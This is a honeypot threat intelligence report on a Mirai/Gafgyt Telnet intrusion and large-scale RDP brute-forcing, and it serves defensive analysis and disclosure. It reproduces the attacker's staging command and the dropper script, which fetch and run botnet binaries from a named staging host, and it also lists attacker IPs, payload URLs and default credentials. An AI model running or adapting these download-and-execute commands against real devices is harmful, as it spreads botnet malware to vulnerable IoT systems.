# T-Pot Honeypot Threat Intelligence Report: Mirai Botnet Infiltration & Large-Scale RDP Brute-Force Telemetry

**Prepared:** 2026-09-18  
**Deployment:** T-Pot CE Distributed Honeypot  
**Target Services:** Cowrie (Telnet/23, SSH/22), rdphoneypot (RDP/3389)  
**Author:** Edge Threat Telemetry Unit  

---

## 1. Executive Summary

During the period of August 21 to September 18, 2026, the sensor network observed persistent credential brute-forcing, lateral reconnaissance, and autonomous exploit delivery. Notably on **September 18, 2026**, an automated exploitation engine successfully authenticated against the Telnet service using default administrative credentials (`root:password`) and delivered a multi-architecture **Mirai / Gafgyt IoT botnet downloader**.

Concurrently, telemetry from the RDP sensor (`rdphoneypot`, port 3389) captured over **176,000 connection events across 489 unique attacking IP addresses**, led by persistent automated scanning operations originating from European VPS and hosting networks (predominantly AS51167 Contabo, AS201814 MEVSPACE, and AS9009 M247).

This report documents the end-to-end intrusion sequence, analyzes the captured dropper and secondary payload binaries, correlates C2 infrastructure, and maps attacker behaviors to the MITRE ATT&CK framework.

---

## 2. Cowrie Telnet Intrusion: Mirai/Gafgyt Dropper Breakdown

### 2.1 Intrusion Timeline (Session `5e181daf9173`)

| Timestamp (UTC) | Protocol | Event Type | Description / Detail |
| :--- | :--- | :--- | :--- |
| **2026-09-18 10:18:59** | Telnet (23) | `cowrie.session.connect` | Inbound TCP connection from `160.119.66.206:40808` |
| **2026-09-18 10:18:59** | Telnet (23) | `cowrie.login.success` | Authentication accepted for `root` / `password` |
| **2026-09-18 10:19:00** | Shell | `cowrie.command.input` | Shell staging command injected |
| **2026-09-18 10:19:00** | HTTP | `cowrie.session.file_download` | Ingress tool transfer: `http://160.119.66.206/bins/kla.sh` |
| **2026-09-18 10:19:03** | Shell | `cowrie.log.closed` | Session closed after 3.88 seconds |

### 2.2 Injected Staging Command

Immediately upon credential validation, the attacker system issued an evasion-heavy, multi-path fallback staging command:

```bash
cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run 2>/dev/null || cd /root 2>/dev/null || cd /;
rm -f kla.sh;
wget -O kla.sh http://160.119.66.206/bins/kla.sh 2>/dev/null || busybox wget -O kla.sh http://160.119.66.206/bins/kla.sh 2>/dev/null || curl -sLo kla.sh http://160.119.66.206/bins/kla.sh 2>/dev/null;
chmod 777 kla.sh;
sh kla.sh telnet&
```

**Key Execution Mechanics**:
1. **Writable Directory Hunt**: Iterates through `/tmp`, `/var`, `/dev/shm`, `/run`, `/root`, and `/` to bypass read-only root filesystems commonly found on embedded Linux devices.
2. **Tri-Utility Redundancy**: Chained fallback using standard `wget`, `busybox wget`, and `curl` to guarantee retrieval across minimal IoT firmwares.
3. **Background Detachment**: Invokes `sh kla.sh telnet&` with background execution so the payload continues running even if the Telnet session abruptly terminates.

---

## 3. Payload & Malware Analysis

### 3.1 Primary Dropper Script (`kla.sh`)
* **SHA-256**: `39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96`
* **File Size**: 3,241 bytes
* **File Type**: POSIX shell script, ASCII text executable
* **VirusTotal Detection**: **32 / 61 Engines** (`downloader.bash/miraia`)

The script iterates through a broad array of CPU architectures, attempting to fetch and execute architecture-tailored ELF binaries:

```bash
#!/bin/sh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://160.119.66.206/bins/net.x86_64 -O net_bot && chmod 777 net_bot && ./net_bot net.x86_64 && exit;
curl -L http://160.119.66.206/bins/net.x86_64 -o net_bot && chmod 777 net_bot && ./net_bot net.x86_64 && exit;
wget http://160.119.66.206/bins/net.x86 -O net_bot && chmod 777 net_bot && ./net_bot net.x86 && exit;
wget http://160.119.66.206/bins/net.mips -O net_bot && chmod 777 net_bot && ./net_bot net.mips && exit;
wget http://160.119.66.206/bins/net.mpsl -O net_bot && chmod 777 net_bot && ./net_bot net.mpsl && exit;
wget http://160.119.66.206/bins/net.arm -O net_bot && chmod 777 net_bot && ./net_bot net.arm && exit;
wget http://160.119.66.206/bins/net.arm5 -O net_bot && chmod 777 net_bot && ./net_bot net.arm5 && exit;
wget http://160.119.66.206/bins/net.arm6 -O net_bot && chmod 777 net_bot && ./net_bot net.arm6 && exit;
wget http://160.119.66.206/bins/net.arm7 -O net_bot && chmod 777 net_bot && ./net_bot net.arm7 && exit;
wget http://160.119.66.206/bins/net.sh4 -O net_bot && chmod 777 net_bot && ./net_bot net.sh4 && exit;
wget http://160.119.66.206/bins/net.arc -O net_bot && chmod 777 net_bot && ./net_bot net.arc && exit;
```

### 3.2 Secondary Binary Analysis (`net.x86_64`)
* **SHA-256**: `2cebccdc2ee8744201522957facde242130b6dc8bf1b28206563d1cf07877b66`
* **File Name**: `net_bot`
* **VirusTotal Detection**: **24 / 64 Engines** (`trojan.mirai/gafgyt`)
* **Target Architecture**: Linux ELF 64-bit x86-64
* **Functionality**:
  * Distributed Denial of Service (DDoS) engine supporting SYN, ACK, UDP, and HTTP floods.
  * Autonomous port 23/2323 credential scanner targeting upstream devices for botnet expansion.
  * Encrypted C2 beaconing to maintain persistence on infected hosts.

### 3.3 Infrastructure Attribution

| Attribute | Details |
| :--- | :--- |
| **C2 & Staging Server** | `160.119.66.206` |
| **Autonomous System** | **AS49870** (Alsycon B.V.) |
| **Location** | Lelystad, Flevoland, Netherlands (NL) |
| **Hosted Resources** | Open HTTP server hosting `/bins/` directory with multi-architecture binaries |
| **Threat Actor Intent** | Mass IoT botnet recruitment leveraging weak default credentials |

---

## 4. RDP Sensor Analysis: High-Volume Brute-Force Telemetry

The RDP honeypot (`rdphoneypot`, port 3389) continues to see significant inbound connection pressure. In a sampled window of **176,533 connection events**:

### 4.1 Top Attacking Source IPs

| Attacking IP | Country | Autonomous System (ASN) | Attempt Count | Target Profile |
| :--- | :--- | :--- | :--- | :--- |
| **213.136.71.23** | FR | AS51167 Contabo GmbH | **68,168** | Automated high-rate NLA brute-force |
| **149.50.115.15** | PL | AS201814 MEVSPACE sp. z o.o. | **18,867** | Distributed credential stuffing |
| **217.138.216.214** | DE | AS9009 M247 Europe SRL | **12,768** | Low-and-slow dictionary spray |
| **77.91.71.43** | NL | AS211486 Alferov Aleksey | **7,528** | Scanner / reconnaissance |
| **147.124.222.57** | US | AS20860 Ihor Huba | **6,777** | Automated NTLM probe |
| **138.226.239.7** | DE | AS208091 Titan Nodes | **6,248** | Scripted dictionary spray |
| **5.181.86.179** | NL | AS208091 Titan Nodes | **6,219** | Scripted dictionary spray |

### 4.2 Targeted Account Distribution

Analysis of NTLM SSP authentication requests reveals strong convergence on default administrator accounts:

* **Administrator**: 14,177 attempts (28.4%)
* **Admin**: 14,098 attempts (28.2%)
* **administrator** (lowercase): 4,231 attempts (8.5%)
* **admin**: 403 attempts (0.8%)
* **adminuser**: 248 attempts (0.5%)
* **root**: 242 attempts (0.5%)
* **USER / USER1 / ADMIN / ADMIN1**: 944 attempts combined

Attackers predominantly supply `.` or `SERVER` as the NTLM domain parameter, indicative of off-the-shelf brute-force tools (such as Crowbar, Hydra, or custom mass RDP scanners).

---

## 5. MITRE ATT&CK Mapping

| Tactic | Technique ID | Technique Name | Evidence in Honeypot Telemetry |
| :--- | :--- | :--- | :--- |
| **Initial Access** | `T1133` | External Remote Services | Connection attempts to internet-facing RDP (3389) and Telnet (23) |
| **Initial Access** | `T1078` | Valid Accounts | Use of `root:password` on Telnet; default `Administrator` on RDP |
| **Credential Access** | `T1110.001` | Password Guessing | High-volume automated brute-force against RDP NLA |
| **Credential Access** | `T1110.003` | Password Spraying | Multi-target spraying across common administrative user dictionaries |
| **Execution** | `T1059.004` | Unix Shell | Injected multi-stage `sh kla.sh` script via Telnet shell |
| **Defense Evasion** | `T1036` | Masquerading | Naming malware binary `net_bot` in temporary directory |
| **Command and Control**| `T1105` | Ingress Tool Transfer | Dropping ELF binaries via `wget` and `curl` from remote C2 |
| **Command and Control**| `T1071.001` | Web Protocols | Downloading staging payloads over plain HTTP port 80 |

---

## 6. Indicators of Compromise (IoCs)

### Network Indicators (C2 & Attacker Infrastructure)
* `160.119.66.206` — Mirai/Gafgyt Botnet C2 & Staging Server (AS49870, Netherlands)
* `http://160.119.66.206/bins/kla.sh` — Dropper script URL
* `http://160.119.66.206/bins/net.x86_64` — x86_64 Botnet ELF binary URL
* `213.136.71.23` — High-volume RDP brute-force origin (AS51167, France)
* `149.50.115.15` — RDP credential-stuffing origin (AS201814, Poland)
* `217.138.216.214` — RDP dictionary spray origin (AS9009, Germany)

### Host-Based Indicators (File Hashes)
* `39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96` (SHA-256) — `kla.sh` (Downloader.Bash/Miraia)
* `2cebccdc2ee8744201522957facde242130b6dc8bf1b28206563d1cf07877b66` (SHA-256) — `net.x86_64` (Trojan.Mirai/Gafgyt)

---

## 7. Strategic Defensive Recommendations

1. **Immediate Ingress Drops**: Implement network firewall rules blocking traffic from `160.119.66.206` and the top RDP brute-force source IPs (`213.136.71.23`, `149.50.115.15`, `217.138.216.214`).
2. **Disable Plaintext Management Services**: Completely disable external Telnet (port 23). Any administrative access must be restricted to hardened SSH with public-key authentication and non-standard ports or VPN tunnels.
3. **RDP Exposure Elimination**: Internet-facing RDP (port 3389) should never be directly exposed without Network Level Authentication (NLA) backed by multi-factor authentication (MFA) and an IP allowlist or RD Gateway/VPN.
4. **Automated Account Lockout**: Enforce account lockout thresholds (e.g., 5 invalid attempts in 15 minutes) to neutralize high-rate dictionary attacks observed in the Contabo and MEVSPACE campaigns.